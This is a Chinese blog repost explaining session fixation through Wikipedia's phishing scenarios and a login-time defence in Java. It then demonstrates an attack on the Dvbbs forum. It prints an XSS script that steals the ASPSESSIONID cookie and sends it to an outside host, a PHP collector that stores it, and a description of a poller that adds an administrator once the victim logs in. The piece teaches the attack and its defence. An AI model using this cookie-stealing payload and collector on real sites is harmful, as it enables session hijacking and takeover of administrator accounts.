[zhuan]Session Fixation 攻防实战

http://amunet.blog.sohu.com/185676126.html


 什么是Session Fixation ,翻译就是会话固定。

    在此是指Web服务的会话ID是确知不变的,攻击者为受害着确定一个会话ID从而达到攻击的目的。在维基百科中专门有个词条Session fixation,在此引述其攻击情景,防范策略参考原文。

 

攻击场景

原文中Alice是受害者,她使用的一个银行网站http://unsafe/存在session fixation漏洞,Mallory是攻击者,他想盗窃Alice的银行中的存款,而Alice会点击Mallory发给她的网页连接(原因可能是 Alice认识Mallory,或者她自己的安全意识不强)。

攻击情景1:最简单:服务器接收任何会话ID

过程如下:

Mallory发现http://unsafe/接收任何会话ID,而且会话ID通过URL地址的查询参数携带到服务器,服务器不做检查 Mallory给Alice发送一个电子邮件,他可能假装是银行在宣传自己的新业务,例如,“我行推出了一项新服务,率先体验请点 击:http://unsafe/?SID=I_WILL_KNOW_THE_SID",I_WILL_KNOW_THE_SID是Mallory选定的一个会话ID。 Alice被吸引了,点击了 http://unsafe/?SID=I_WILL_KNOW_THE_SID,像往常一样,输入了自己的帐号和口令从而登录到银行网站。 因为服务器的会话ID不改变,现在Mallory点击 http://unsafe/?SID=I_WILL_KNOW_THE_SID 后,他就拥有了Alice的身份。可以为所欲为了。 攻击情景2:服务器产生的会话ID不变

过程如下:

Mallory访问 http://unsafe/ 并获得了一个会话ID(SID),例如服务器返回的形式是:Set-Cookie: SID=0D6441FEA4496C2 Mallory给Alice发了一个邮件:”我行推出了一项新服务,率先体验请点击:http://unsafe/?SID=0D6441FEA4496C2" Alice点击并登录了,后面发生的事与情景1相同 攻击情景3:跨站cookie(cross-site cooking)

利用浏览器的漏洞,即使 http://good 很安全,但是,由于浏览器管理cookie的漏洞,使恶意网站 http://evil/ 能够向浏览器发送 http://good 的cookie。过程如下:

Mallory给Alice发送一个邮件“有个有趣的网站:http://evil 很好玩,不妨试试” Alice访问了这个链接,这个网站将一个会话ID取值为I_WILL_KNOW_THE_SID 的 http://good/ 域的cookie设置到浏览器中。 Mallory又给Alice发了个邮件:“我行推出了一项新服务,率先体验请点击:http://good/” 如果Alice登录了,Mallory就可以利用这个ID了



    最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》,讲的是一段代码,在STRUTS 2框架中,防御Session Fixation攻击。笔者比较老土,看不懂英文,还好能看懂代码,发现这是一种平时开发中(至少自己是这样),从来没注意过的攻击。关于这种攻击,刺在自己博客上写了篇文章《关于Session Fixation》。我在邮件列表,和文章后面跟帖讨论了下,但是仍然感觉自己说的不是很清晰,毕竟没有实战,所以实践了一下自己的想法,重新写篇文章补充下。注:为了保证质量,本文假设读者对cookie和session基本概念和特性已经掌握。

  作者是从防御代码中,发现这种攻击的存在,所以,我们先看防御的代码:

public void doGet(HttpServletRequest request, HttpServletResponse response)
     throws ServletException, IOException {
     if(userid.equals("admin") && password.equals("admin"))  {
        request.getSession().invalidate();
        HttpSession session = request.getSession(true);
        session.setAttribute("AUTHENTICATED", new Boolean(true));
        response.sendRedirect("PageRequiringAuthentication.jsp");
//Additional Code  Would Normally Follow

  这是一个很常见的登录过程,首先验证用户名密码是否正确,正确后,干掉当前session。然后重新获取一个新session,继续执行赋予用 户管理权限。关键就是,这段代码干掉了当前的session。当服务器和客户端之间的session销毁时,因为客户端仍然向服务器发送数据,所以服务器 会自动的新生成一个session。为什么以前的session不能用呢?

  在作者刚看到邮件的时候,一直看不明白,因为站在程序员的角度,作者不知道为啥非要让session销毁了。如果不消毁session,程序一 样正确执行,攻击者不知道管理员密码,一样进不来。如果这个人知道管理员密码,那么对于程序本身来说,这个人就已经是一个程序所期望的管理员了。但是换个 角度想一下,管理员在管理网站的时候,通常都做些什么?在管理员登陆前,他还只是一个普通的浏览者,会去浏览一些公开页面,他可能在哪里发现了问题,需要 进后台处理一下,于是他就登录了。就在这个很普通的过程中,如果程序没有在认证成功后,销毁session,则管理员在登录前和登录后,session是 同一个。假设我们能够在前台,使用了XSS一类手段,获得了这个session,等他一旦登录,就“野鸡变凤凰”了。

  在以往的XSS攻击、CSRF攻击中,我们总是把目光放在管理员登陆后,XSS他、CSRF他。都没有想过,如果管理员登陆后,不浏览XSS页 面,怎么攻击?看到这段防御代码,作者突然想到了一种攻击手段,只要管理员曾经浏览过XSS页面(这时候只是普通用户),就能在他登录后,即使不再浏览 XSS页面,也能攻击到。

  为了详细的描述和重现这种攻击方式,作者特意下载了动网BBS 8最新版本。首先做两个实验,来验证动网是否存在这个漏洞:

  1、在登录前,查看自己的SESSIONID,管理员前台登录后,再查看SESSIONID,登录后台,再查看。发现这个值没有变动。就是说动网存在这个漏洞,登录前后,SESSIONID没有变。

  2、为了保证实验成功,需要知道动网的后台是否仅仅通过SESSION来验证身份。登录后,抓包。修改包中的信息,修改username,提 交,返回数据表明可以同过。再修改SESSIONID,却出现“本页面为管理员专。。。”字样,没有通过认证。这说明动网后台是仅仅通过session验 证的,而不是cookie。

  证明了这个漏洞的存在,下面就利用这个漏洞,攻击登录前的管理员。动网论坛的用户身份模式,可以很好的诠释这种攻击,用过动网的读者都知道,浏 览动网的用户分为以下几种级别:“未注册用户”、“注册用户”、“前台管理员”、“后台管理员”。我们先架设好攻击环境,之后让一个未登陆的管理员,浏览 论坛的XSS页面,之后登录到后台。

  总体来看,利用这样的漏洞,需要以下一些东西:

  1、a.php,一个脚本,用来接收XSS页面传来的SESSIONID,然后保存在haha.txt,可以放在任何一个支持php的空间里。

  2、go.py,没隔5秒,请求一次haha.txt,获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中,请求后台页面的“添加管理员功能”。

  3、一个前台的XSS漏洞,这个漏洞我们自己可以构造出来。

  作者为了仅仅说明这个问题,而不是大量的制造攻击,所以单独为动网写了个对应的脚本,go.py这个脚本,请求了动网后台的“添加管理员功 能”。他会一直去请求,不管管理员有没有登录,在登录前,会收到“本页面为管理员专。。。”字样。但是管理员一旦登录,就会请求成功这个功能。

  下图可以说明这次模拟实验:

  第一步。首先架设好辅助攻击的服务器,服务器中有两个文件,一个是a.php。这个文件用来接收XSS发来的SESSIONID信息,然后保存为haha.txt。

  第二步。执行go.py。这个文件会每隔5秒,请求一次haha.txt,读取其中的数据,解析为对应的SESSIONID,把SESSIONID放在发动包的COOKIE中,之后请求一次“添加管理员”这个功能。

  管理员登录后台之后,SESSIONID就会成为了一个可以通过论坛验证的SESSIONID,这时候的请求会成为合法请求,登录之前的请求, 全都是垃圾数据。在整个过程中,我们要求管理员在登录前浏览一次XSS页面,然后登陆。登录后,大概15秒的时候,就可以退出了。这点时间,我们的攻击, 已经成功。

  请注意,这次攻击的演示中,重点不是动网出现了XSS漏洞,而是Session Fixation,所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单,论坛后台有个给版面加“本版版规”的功能,支持HTML。把XSS的内容放这里:

<script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>

  用于提交SESSIONID到a.php。下面是一个COOKIE的内容:

  请注意图片中的“ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB”这部分,这里就是一个 SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样,“ASPSESSIONIDASQCSSRT”这个KEY的名字,也是不同 名称的。但是他逃脱不了一种模式,就是SESSIONID的名字,改来改去,总要让服务器认识。结合几次抓包内容,发现,这个字符串没有固定的名称,也没 有固定的值,但是他总是以“ASPSESSIONID”开头。所以才会有了这段生涩难解的XSS代码。

  php代码,用于接收提交过来的SESSIONID,保存:

<?php
$fp = fopen("haha.txt","wb");
fwrite($fp,$_GET["id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));
fclose($fp);
?>

  下面先执行go.py。

  可以看到代码一直在执行“添加管理员这个过程”,并且一直不能通过验证。

  现在先浏览下XSS页面,查看那个有XSS的版面。先让程序获得SESSIONID,注意,还没有登录。

  和前次不同的是,我们获取了sessionid。但是这个SESSIONID还没有通过验证,管理员还没有登录。之后使用管理员登录后台。

  这张图,出现了提示信息“您输入的用户名已经在管理用户中存在!”,说明已经可以通过验证了,攻击成功。

  可能有很多读者在本次攻击过程中想到了SESSION IE这个工具,该工具也可以获得管理员的SESSIONID,并且通过不断的访问,维持这个SESSIONID不被销毁。与之区别的是,如果管理员登录 后,自己点了“退出”。那么这个维持中SESSIONID就没用了,除非你能在他没点退出之间,做了添加管理员操作,期待该工具更新本文所提功能。而这次 的攻击过程中,即使管理员退出了,我们攻击也早就在管理员登陆的那一刹那间,攻击成功。Session Fixation最大的威胁,就是在登录前的XSS能一直威胁到了管理员登录,即使管理员登录后不再访问XSS页面,也不影响攻击效果。

  工具go.py在这里提供下载,但是注意一点,这个工具,不是一个多线程的。实验的时候可以用,如果用于做坏事,除非修改它的代码,否则每一个 看到XSS页面的人,都会提交SESSIONID上去,导致攻击失败。为了网络和谐,作者就不提供真正用于攻击的代码了,大家回去后自己研究。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值